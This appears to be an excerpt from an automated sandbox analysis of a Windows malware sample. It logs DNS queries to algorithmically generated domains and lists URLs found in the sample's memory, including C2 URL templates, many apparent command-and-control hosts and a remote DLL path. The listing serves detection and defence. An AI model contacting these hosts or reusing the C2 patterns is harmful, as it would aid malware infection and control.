Source: global traffic	DNS traffic detected: DNS query: pmoodvkmiigul.vg
Source: global traffic	DNS traffic detected: DNS query: ndqcy.ws
Source: global traffic	DNS traffic detected: DNS query: hvvgycugwh.mp
Source: global traffic	DNS traffic detected: DNS query: esqkgcss.ph
Source: global traffic	DNS traffic detected: DNS query: ithzdymit.tk
Source: global traffic	DNS traffic detected: DNS query: uvwabzkyifixf.tk
Source: global traffic	DNS traffic detected: DNS query: kuikdooag.cg
Source: global traffic	DNS traffic detected: DNS query: kpntwewjtai.tk
Source: global traffic	DNS traffic detected: DNS query: kwfciphqs.st
Source: global traffic	DNS traffic detected: DNS query: xugukhmkcsvw.st
Source: global traffic	DNS traffic detected: DNS query: nukeecapkuanq.cg
Source: global traffic	DNS traffic detected: DNS query: gyjdfapyghm.st
Source: global traffic	DNS traffic detected: DNS query: oooaehqkyge.tk
Source: global traffic	DNS traffic detected: DNS query: wcwxa.ws

Source: 5SGOAKv7AR.exe, 5SGOAKv7AR.exe, 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmp, edsuvoov-usum.exe, edsuvoov-usum.exe, 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmp	String found in binary or memory: http://%s.biz/d/G?
Source: 5SGOAKv7AR.exe, 5SGOAKv7AR.exe, 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmp, edsuvoov-usum.exe, edsuvoov-usum.exe, 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmp	String found in binary or memory: http://%s.biz/d/N?
Source: 5SGOAKv7AR.exe, 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmp, edsuvoov-usum.exe, 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmp	String found in binary or memory: http://%s.biz/d/N?http://%s.biz/d/G?http://%s/d/rpt?%smodemisdn%u.%u.%u.%s
Source: edsuvoov-usum.exe, 00000001.00000003.3435492600.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3409196391.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3497300445.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3393132219.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3531692273.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3393274054.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3480072576.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3420778731.00000000007D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://akpzumsigtkmmw.mp/
Source: edsuvoov-usum.exe, 00000001.00000003.3435492600.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3409196391.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3497300445.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3393132219.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3393274054.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3480072576.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3420778731.00000000007D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://akpzumsigtkmmw.mp/.
Source: edsuvoov-usum.exe, 00000001.00000003.3435492600.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3409196391.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3497300445.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3393132219.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3393274054.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3480072576.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3420778731.00000000007D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://akpzumsigtkmmw.mp/DB
Source: edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://akpzumsigtkmmw.mp/pati
Source: edsuvoov-usum.exe, 00000001.00000003.3435492600.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3409196391.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3497300445.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3393132219.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3531692273.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3393274054.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3480072576.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3420778731.00000000007D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://akpzumsigtkmmw.mp/w
Source: explorer.exe, 00000005.00000003.2211775431.00000000073EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1359722344.00000000073E1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3078606027.00000000073ED000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3824992663.00000000089EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1360878216.00000000089EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3822053785.00000000073ED000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2209769323.00000000073E1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002C1F000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://cgengcwnm.kr/
Source: edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002C1F000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://cgengcwnm.kr/.mp/
Source: edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cgengcwnm.kr/Cy
Source: edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cgengcwnm.kr/H
Source: edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cgengcwnm.kr/Uy
Source: edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cgengcwnm.kr/hmehut.dll
Source: edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cgengcwnm.kr/r/
Source: explorer.exe, 00000005.00000003.2211775431.00000000073EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1359722344.00000000073E1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3078606027.00000000073ED000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3824992663.00000000089EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1360878216.00000000089EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3822053785.00000000073ED000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2209769323.00000000073E1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000005.00000003.2211775431.00000000073EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1359722344.00000000073E1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3078606027.00000000073ED000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3824992663.00000000089EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1360878216.00000000089EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3822053785.00000000073ED000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2209769323.00000000073E1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: edsuvoov-usum.exe, 00000001.00000003.2155843268.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fbkzqsqod.tk/
Source: edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gmomhogqcqo.rw/t
Source: edsuvoov-usum.exe, 00000001.00000003.3296169166.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3591348773.00000000007AE000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3165477737.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3237328686.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3259835893.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3248415563.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3282322790.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3214913079.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hyuyvkcxdqtqwe.mp/
Source: edsuvoov-usum.exe, 00000001.00000003.3215091027.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3214993609.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hyuyvkcxdqtqwe.mp/15D1
Source: edsuvoov-usum.exe, 00000001.00000003.2469264612.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2538832029.00000000007C6000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2503988951.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2486261816.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2420715468.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2482148761.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2446208623.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2520337416.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2457792216.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iceqeuhpebkqmj.kr/
Source: edsuvoov-usum.exe, 00000001.00000003.2469264612.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2538832029.00000000007C6000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2503988951.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2486261816.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2420715468.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2482148761.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2446208623.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2520337416.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2457792216.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iceqeuhpebkqmj.kr/yi
Source: edsuvoov-usum.exe, 00000001.00000003.2469264612.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2538832029.00000000007C6000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2503988951.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2486261816.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2420715468.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2482148761.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2446208623.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2520337416.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2457792216.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iceqeuhpebkqmj.kr/yu
Source: edsuvoov-usum.exe, 00000001.00000003.2929037333.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2923890184.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iyeyuemksorve.nu/
Source: edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3624526051.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jwimhacdt.cm/
Source: edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3624526051.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jwimhacdt.cm/dy
Source: edsuvoov-usum.exe, 00000001.00000003.3624526051.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jwimhacdt.cm/oy
Source: explorer.exe, 00000005.00000002.3819872573.0000000004627000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1358990371.0000000004627000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe
Source: explorer.exe, 00000005.00000003.2211775431.00000000073EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1359722344.00000000073E1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3078606027.00000000073ED000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3824992663.00000000089EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1360878216.00000000089EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3822053785.00000000073ED000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2209769323.00000000073E1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000005.00000003.2210576179.0000000008BB8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3824992663.0000000008BB8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1360878216.0000000008BB8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3078024513.0000000008BB8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: edsuvoov-usum.exe, 00000001.00000003.3591112850.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3591226590.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2837389642.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3393302943.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3215091027.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3214993609.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oukpcbtqgqwoa.nu/
Source: edsuvoov-usum.exe, 00000001.00000003.3215091027.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3214993609.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oukpcbtqgqwoa.nu/6
Source: edsuvoov-usum.exe, 00000001.00000003.2837389642.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oukpcbtqgqwoa.nu/?
Source: edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oukpcbtqgqwoa.nu/mL
Source: edsuvoov-usum.exe, 00000001.00000003.3215091027.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3214993609.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oukpcbtqgqwoa.nu/~
Source: edsuvoov-usum.exe, 00000001.00000003.2387143915.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ovonq.tk/
Source: edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3624526051.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://owayaiofn.cg/
Source: edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://owayaiofn.cg//
Source: edsuvoov-usum.exe, 00000001.00000003.2013476768.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2033834278.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2051722342.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2004705819.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://owzuhlkauoavrg.rw/
Source: edsuvoov-usum.exe, 00000001.00000003.2013476768.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2124424664.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111789785.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2033834278.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111460280.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2155906768.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2051722342.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2004705819.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://owzuhlkauoavrg.rw/(
Source: edsuvoov-usum.exe, 00000001.00000003.2013476768.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2124424664.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111789785.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2033834278.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111460280.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2051722342.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2004705819.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://owzuhlkauoavrg.rw/p
Source: edsuvoov-usum.exe, 00000001.00000003.3215091027.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3214993609.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://oymyeynqyqewcs.mp/
Source: edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3624526051.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pdrwqa.mp/
Source: edsuvoov-usum.exe, 00000001.00000003.3624526051.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pdrwqa.mp/:
Source: edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3624526051.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pdrwqa.mp/z
Source: edsuvoov-usum.exe, 00000001.00000003.2004705819.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pwoawmujdqwzs.mp/
Source: edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qdukhasgmus.tk/
Source: edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3624526051.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qsqwieaqy.cg/
Source: edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qsqwieaqy.cg//
Source: edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qsqwieaqy.cg/Uy
Source: edsuvoov-usum.exe, 00000001.00000003.2469264612.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2486261816.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2420715468.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2482148761.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2446208623.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2457792216.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://quzgmnyiqyqoez.kr
Source: edsuvoov-usum.exe, 00000001.00000003.2469264612.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2503988951.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2486261816.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2420715468.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2482148761.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2446208623.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2457792216.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://quzgmnyiqyqoez.kr/
Source: edsuvoov-usum.exe, 00000001.00000003.2469264612.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2538832029.00000000007C6000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2503988951.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2486261816.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2420715468.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2482148761.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2446208623.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2520337416.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2457792216.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://quzgmnyiqyqoez.kr/z
Source: edsuvoov-usum.exe, 00000001.00000003.2737227049.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3531692273.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3121874987.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://rmydkqgvcvhez.kr/
Source: explorer.exe, 00000005.00000002.3827874428.00000000091E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3823592819.00000000084D0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3822536427.0000000007920000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sgfpiiwog.tk/
